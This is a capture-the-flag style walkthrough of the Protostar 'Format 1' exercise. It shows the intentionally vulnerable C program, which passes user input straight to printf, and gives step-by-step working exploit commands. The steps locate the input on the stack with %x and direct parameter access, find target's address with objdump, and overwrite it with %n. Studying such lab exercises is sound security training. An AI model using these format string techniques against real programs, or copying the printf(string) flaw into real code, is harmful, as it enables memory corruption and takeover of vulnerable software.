Protostar: Format 1

This is the second uncontrolled format string vulnerability exercise from the Protostar image from Exploit Exercises. It asks us to write any value to an int using pure format string vulnerabilities. Let’s get to it!

The Source

For this challenge we are given the following source:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

And the following hint:

  • objdump -t is your friend, and your input string lies far up the stack :)

The Vulnerability

This program reads much like the last one with only a couple small changes. This time when our input is read by the vuln() function it is called directly by printf() exposing the program to the format string attack. It should look like this:

printf("%s", string);

but instead looks like this:

printf(string);

This opens it up to exploitation. if(target) simply checks that target isn’t false (0), so overwriting it with any value should be sufficient to get our success message.

The Exploit

Let’s start by finding the address of our input on the stack. This will allow us to call it later in the exploit. The hint tells us it’s far up the stack, so let’s write some easily identifiable data (AAAAAAAA) and start dumping a couple hundred values off the stack. This can be done with %x , which looks for some data to print as hex, and, finding none, will start crawling up the stack looking for it:

./format1 AAAAAAAA`python -c 'print ".%x"*300'`

In the massive output our input 41414141 lies about a third of the way down.

Now we can count the difference and adjust our input accordingly, trying to get the last part printed to be our input. On my VM I found this at 129:

./format1 AAAAAAAA`python -c 'print ".%x"*129'`

(...).41414100

Now it didn’t fit perfectly, but we can fix that once we simplify this approach with Direct Parameter Access(DPA). This is a technique that uses the $ qualifier to directly access a parameter by giving it a location in the stack. We do not need python command replacement to make this work but I’m keeping it there so we don’t have to recalculate later on:

Verifying that we want parameter 129 through the shorter DPA method:

./format1 `python -c 'print "AAAAAAAA%129$p"'`
AAAAAAAA0x41414141

This verifies we have our input correctly writing to the stack and can call its position accurately. We don’t need to pad our input as it fits evenly. Now that we can write evenly to a known location on the stack we need to swap out our test input, AAAAAAAA, with the address of target.

Target right now is uninitialized so it should exist in the bss segment.

The given clue was to use objdump -t which displays the contents of the symbol table(s), which should contain the address of target. Piping this into a grep for “target”:

objdump -t format1 | grep "target"
08049638 g    0 .bss   00000004            target

We now know it’s at 0x08049638. Substituting this into our exploit, remembering our endianness and padding our input so that it fits evenly:

./format1 `python -c 'print "\x38\x96\x04\x0800%129$p"'`
8000x8049638

We now have the address of target fitting on the stack. Now all that’s left is to use that as a location to write to. This is where the %n parameter comes into play. This devious little function writes the number of bytes written so far into a variable given by the stack. This will become $n because of the DPA, so our final exploit becomes:

./format1 `python -c 'print "\x38\x96\x04\x0800%129$n"'`
800you have modified the target :)

This worked as we would expect. It wrote the address of target to the stack and used that as a location to write to with %n. This wrote the number of bytes written so far into target. This was greater than 0, so we were given the success message.